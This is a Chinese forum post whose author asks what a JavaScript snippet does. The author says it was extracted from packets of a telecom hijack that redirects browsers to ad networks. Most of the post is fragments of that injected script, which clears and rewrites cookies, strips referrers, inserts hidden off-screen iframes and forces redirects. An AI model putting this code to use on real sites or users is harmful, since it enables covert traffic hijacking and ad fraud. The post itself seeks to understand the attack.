懂 javascript 的进来瞧瞧……

这段代码何用？从电信劫持的数据包里面提取的。顺序是旁路设备输入网址，先将目标劫持到此（内容如下），下一个数据包就是跳转到广告联盟的，再下一个数据包是再跳转一次。

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e = function(c) {
return (c < 62 ? '': e(parseInt(c / 62))) + ((c = c % 62) > 35 ? String.fromCharCode(c + 29) : c.toString(36))
};
if ("0".replace(0, e) == 0) {
while (c--) r[e(c)] = k[c];
k = [function(e) {
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e = function() {
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c = 1
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w = v.search.substr(1),
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R = bd.split('?')[0],
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be = (function(a) {
i = a(i);
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function(a, b) {
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g.cookie = f.join('; ');
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x = X.length; o < x; o++) {
f[1] += X[o] + '/';
g.cookie = f.join('; ')
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f[j] = h + l.join('.');
l.shift()
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bg = /img|.(png|ico|gif|jpe?g)$/i,
bh = /^\w$/,
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},
E = '<meta name="referrer" content="never">',
Y = function(a) {
return 'data:text/html;charset=utf-8,' + m('<html><head>' + E + '<meta http-equiv="refresh" content="0;url=' + a + '"></head><body></body></html>')
},
Z = function(d) {
var h = function() {
D(C, 1);
M || F ? ~
function(a, b, c) {
a.rel = 'noreferrer';
a.href = Y(d);
a.target = '_top';
c.insertBefore(a, c.firstChild);
try {
a.click()
} catch(e) {
b.initEvent('click', !1, !1);
a.dispatchEvent(b)
}
} (g.createElement('area'), g.createEvent('Event'), g.body) : (~String(g.write).indexOf('[native code]') || ~
function(a, b, c) {
try {
a.style.display = 'none';
b.insertBefore(a, b.firstChild);
c = a.contentWindow.document;
c.open();
c.write('<script>parent.document.write=document.write;<\/script>');
c.close()
} catch(O) {
top.location = d
}
} (g.createElement('iframe'), g.body), ~
function() {
try { (L = g.open('text/html', 'replace')).write(E + '<meta http-equiv="refresh" content="0;url=' + d + '">');
L.close()
} catch(z) {
setTimeout(arguments.callee, 64)
}
} ())
};
J ? setTimeout(function() {
h()
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300) : h()
},
I = /([^=&]+)=([^&]*)(?:&|$)/g,
ba = new RegExp(i[10], 'i'),
bb = g.cookie;
switch ((function(d) {
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if (d) {
return d
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J = i[7] > S && bi();
return~
function() {
t && clearTimeout(t);
t = null;
N && (N.clear(), sessionStorage.clear());
for (var a = g.cookie.split('; '), b = a.length, c; b--;) {
c = a[b].split('=');
if (bh.test(c[1]) || ~c[0].indexOf(C)) {
continue
}
D(c[0], '', 1)
}
if ('complete' == g.readyState) {
K = 1;
return D(C, 1)
}
t = setTimeout(arguments.callee, 100)
} () && i[3 * 3]
}
})(~bb.indexOf(W) || D())) {
case 0:
u = (function(a, b, c, d, h) {
while ((c = I.exec(w)) != null) {
h = c[1];
ba.test(h) || (a[h] = c[2])
}
for (var f in a) {
d = a[f];
d && a.hasOwnProperty(f) && b.push(f + '=' + d)
}
return R + '?' + b.join('&')
})({},
[]);
Z(B.replace(/@@(DD?EST|RAW)URL@@/g,
function(a, b) {
return {
RAW: u,
DEST: m(u),
DDEST: m(m(u))
} [b]
}));
break;
case 1:
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function() {
s && clearTimeout(s);
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if (K) {
return~
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var f = g.getElementsByTagName('base'),
j = f[f.length - 1];
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b = g.createElement('<iframe name=\'' + d + '\'>')
} catch(e) {}
b.style.cssText = 'position:absolute;width:100%;height:100%;left:-100000000px';
c.insertBefore(b, c.firstChild);
if (j) {
h = j.target;
j.setAttribute('target', '_self')
}
if (b.attachEvent) {
b.attachEvent('onload',
function() {
h && j.setAttribute('target', h);
b.onload = null
})
} else {
b.onload = function() {
h && j.setAttribute('target', h);
b.onload = null
}
}
b.contentWindow.name = d;
b.src = 'javascript:void(~function(l){l.open();' + ((function(a) {
try {
b.contentWindow.document
} catch(p) {
a = 1
}
return a
})(0) ? 'l.domain="' + g.domain + '";': '') + 'l.write(self.name);l.close()}(document))'
} (g.createElement('iframe'), g.body, M || F ? '<html><head>' + E + '</head><body></body><script>~function(a,b){a.rel="noreferrer";a.href="' + Y(B) + '";document.body.appendChild(a);try{a.click()}catch(e){b.initEvent("click",!1,!1);a.dispatchEvent(b)}}(document.createElement("a"),document.createEvent("Event"))<\/script></html>': E + '<meta http-equiv="refresh" content="0;url=' + B + '">')
}
s = setTimeout(arguments.callee, 100)
} ();
break;
case 2:
Z((function(a, b, c, d, h) {
while ((c = I.exec(w)) != null) {
h = c[1];
ba.test(h) || (a[h] = c[2])
}
while ((c = I.exec(B)) != null) {
a[c[1]] = c[2]
}
for (var f in a) {
d = a[f];
d && a.hasOwnProperty(f) && b.push(f + '=' + d)
}
return R + '?' + b.join('&')
})({},
[]));
break
}
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